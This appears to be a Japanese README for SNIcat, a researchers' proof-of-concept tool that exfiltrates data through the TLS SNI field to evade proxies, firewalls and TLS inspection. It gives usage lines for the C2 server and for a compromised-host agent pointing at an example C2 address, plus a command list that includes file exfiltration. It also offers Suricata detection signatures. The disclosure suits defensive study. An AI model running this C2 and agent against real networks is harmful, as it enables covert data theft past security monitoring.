
SNIcat は、概念実証ツールであり、TLS Client Hello 拡張である Server Name Indication を介した隠れチャネル方式を利用して、データの外部流出を実行します。 このツールは、侵害された内部ホスト上に存在するエージェントと、エージェントを制御し流出データを収集するCommand&Controlサーバーで構成されています。
SNIcat の背景にある全容は、ブログ記事をご覧ください。
SNIcat は、macOS およびさまざまな Linux ディストリビューションでテストされています。 簡単に移植できますが、これは PoC ツールにすぎないため、現時点では Windows バージョンはありません。
この流出方法は、明示的プロキシ経由で接続する際に TLS Client Hello ではなく HTTP CONNECT を使用するため、明示的プロキシでは機能しません。
SNIcat は、テストしていない製品やソフトウェアバージョンでは動作しない可能性がありますが、だからといってそれらの製品やソフトウェアバージョンが脆弱でないというわけではありません。

私たちは、Web プロキシ、次世代ファイアウォール (NGFW)、TLS インターセプションおよび検査専用ソリューションなどのセキュリティ境界ソリューションを特に回避する、新しいステルス的なデータ流出方法を発見しました。 私たちのテストにより、これがさまざまなタイプのセキュリティソリューションや、さまざまなベンダーのソリューションに影響を与える広範な問題であることが確認されました。 私たちは、Cisco、F5 Networks、Palo Alto Networks、Fortinet の製品に対してこの手法を正常にテストし、他の多くのベンダーも影響を受ける可能性があると推測しています。
流出手法 SNIcat を使用することで、使用する Command & Control (C2) ドメインがセキュリティソリューション自体に組み込まれた一般的なレピュテーションおよび脅威防止機能によってブロックされている場合でも、TLS 検査を実行するセキュリティ境界ソリューションを回避できることがわかりました。 要するに、ユーザーを保護するために設計されたソリューションが、新たな脆弱性をもたらしていることがわかりました。
また、この特定のツールを検出するための Suricata シグネチャ を提供しています。
リポジトリをクローン:
https://github.com/mnemonic-no/SNIcat.git
依存関係をインストール:
pip3 install -r requirements.txt --user
C2
公的に信頼された CA からワイルドカード証明書とキーを取得します。これが GOOD_CERT および GOOD_CERT_KEY を表します。
自己署名証明書とキー (どのトラストストアにも含まれていない) を BAD_CERT および BAD_CERT_KEY として使用します。
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
エージェント
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
C2 で使用可能なコマンド
LIST - 現在のフォルダ内のすべてのコンテンツを表示
LS - 現在のフォルダ内のファイルのみを表示
SIZE - 現在のフォルダ内のファイルのサイズを表示
LD - 現在のフォルダ内のすべてのディレクトリを表示
CB - ルートツリーフォルダに移動 - 'cd ..' に類似
CD <フォルダID> - 指定したフォルダに移動
EX <ファイルID> - 指定したファイルを流出
ALIVE - エージェントの生存/死亡を確認
EXIT - C2 サーバーを終了